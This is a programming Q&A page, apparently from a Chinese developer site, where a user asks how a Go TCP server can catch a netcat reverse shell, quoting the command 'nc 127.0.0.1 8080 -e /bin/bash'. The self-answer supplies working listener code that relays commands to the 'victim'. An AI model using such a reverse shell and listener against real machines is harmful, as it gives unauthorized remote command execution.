duanlu5055 2018-10-24 16:36
浏览 50

如何捕获netcat反向外壳?

I am working on a TCP server in Go. The TCP server needs to be able to catch a reverse shell from netcat:

$ nc 127.0.0.1 8080 -e /bin/bash

I should be able to send commands and receive responses; however, my server just seems to hang when it receives a connection.

I think the problem is with the bufio.NewReader(conn).ReadString(' ') line, but I don't know how to fix it.

Can you offer any solutions, please and thank you?

Server Code (note: error handling omitted for brevity):

func main() {
    ln, _ := net.Listen("tcp", "127.0.0.1:8080")
    for {
        conn, _ := ln.Accept()
        handleConn(conn)
    }
}

func handleConn(conn net.Conn) {
    for {
        // Receive data from netcat victim
        data, _ := bufio.NewReader(conn).ReadString('
')
        fmt.Println(data)

        // Read command from Stdin then send to netcat victim
        reader := bufio.NewReader(os.Stdin)
        cmd, _ := reader.ReadString('
')
        fmt.Fprintln(conn, cmd)
    }
}
  • 写回答

1条回答 默认 最新

  • dqkf36241 2018-10-24 16:40
    关注

    I solved my problem immediately after I posted my question (d'oh!). Anyways, the solution is simple: reverse the read and write logic. After that, everything worked as desired.

    Here's the fixed code:

    func handleConn(conn net.Conn) {
        fmt.Println("Connection received.")
        for {
            // Read command from Stdin and send to victim
            reader := bufio.NewReader(os.Stdin)
            cmd, _ := reader.ReadString('
    ')
            fmt.Fprintln(conn, cmd)
    
            // Receive input from connection
            data, _ := bufio.NewReader(conn).ReadString('
    ')
            fmt.Println(data)
        }
    }
    
    评论

报告相同问题?

悬赏问题

  • ¥15 mmocr的训练错误,结果全为0
  • ¥15 python的qt5界面
  • ¥15 无线电能传输系统MATLAB仿真问题
  • ¥50 如何用脚本实现输入法的热键设置
  • ¥20 我想使用一些网络协议或者部分协议也行,主要想实现类似于traceroute的一定步长内的路由拓扑功能
  • ¥30 深度学习,前后端连接
  • ¥15 孟德尔随机化结果不一致
  • ¥15 apm2.8飞控罗盘bad health,加速度计校准失败
  • ¥15 求解O-S方程的特征值问题给出边界层布拉休斯平行流的中性曲线
  • ¥15 谁有desed数据集呀